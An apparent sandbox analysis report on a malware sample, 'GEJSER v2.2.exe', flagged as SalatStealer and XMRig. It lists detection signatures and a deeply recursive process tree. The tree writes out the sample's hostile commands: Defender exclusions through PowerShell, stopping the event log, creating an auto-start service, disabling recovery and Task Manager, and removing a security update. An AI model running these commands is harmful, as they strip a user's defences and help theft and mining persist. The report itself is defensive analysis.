Analysis
- user interaction
yes - max time kernel
134s - max time network
150s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
07/07/2026, 04:38
General
- Target GEJSER v2.2.exe
- Size 19.2MB
- Sample260707-e9c8faez8p
- SHA256 b44b18c931343c5e7d9729a3883dcf33bafd193bb71d284f168d27269af898d3
Score
10/10
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Detect SalatStealer payload 46 IoCs
- UAC bypass 3 TTPs 1 IoCs
- XMRig Miner payload 10 IoCs
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables Task Manager via registry modification
- Checks computer location settings 2 TTPs 38 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Power Settings 1 TTPs 64 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Drops file in System32 directory 23 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 4 IoCs
- Drops file in Windows directory 4 IoCs
- Launches sc.exe 18 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 44 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "FV"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "FV" binpath= "C:\ProgramData\FV\main.exe" start= "auto"3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FV"3⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wininit.exeC:\Users\Admin\AppData\Local\Temp\wininit.exe3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe4⤵
- UAC bypass
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\ReAgentc.exe"C:\Windows\system32\ReAgentc.exe" /disable5⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f5⤵
- System Location Discovery: System Language Discovery
- Modifies registry key
-
-
-
C:\Program Files\Google\Chrome\Application\wininit.exe"C:\Program Files\Google\Chrome\Application\wininit.exe" -4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\wininit.exe"C:\Program Files (x86)\Microsoft\Edge\Application\wininit.exe" -4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"6⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"6⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"7⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"8⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"9⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force10⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart10⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart11⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 010⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 010⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 010⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 010⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog10⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FV"10⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"9⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"9⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"10⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"10⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"10⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"11⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"11⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"11⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"12⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"12⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"12⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"13⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"13⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"13⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"14⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force15⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart15⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart16⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 015⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 015⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 015⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 015⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog15⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FV"15⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"14⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"14⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"15⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"15⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"15⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"16⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"16⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"16⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"17⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"17⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"17⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"18⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"18⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"18⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"19⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force20⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart20⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV121⤵
-
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart21⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 020⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 020⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 020⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 020⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog20⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FV"20⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"19⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"19⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"20⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"20⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"20⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"21⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"21⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"21⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"22⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"22⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"22⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"23⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"23⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"23⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"24⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"24⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"24⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"25⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force26⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart26⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart27⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 026⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 026⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 026⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 026⤵
- Power Settings
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV127⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog26⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FV"26⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"25⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"25⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"26⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"26⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"26⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"27⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"27⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"27⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"28⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"28⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"28⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"29⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"29⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"29⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"30⤵
- Drops file in System32 directory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force31⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart31⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart32⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 031⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 031⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 031⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 031⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog31⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "FV"31⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"30⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"30⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"31⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"31⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"31⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"32⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"32⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"32⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"33⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"33⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"33⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"34⤵
-
-
C:\Users\Admin\AppData\Local\Temp\fivem.exe"C:\Users\Admin\AppData\Local\Temp\fivem.exe"34⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"C:\Users\Admin\AppData\Local\Temp\GEJSER v2.2.exe"34⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\fv.exe"C:\Users\Admin\AppData\Local\Temp\fv.exe"35⤵
- Drops file in System32 directory
-
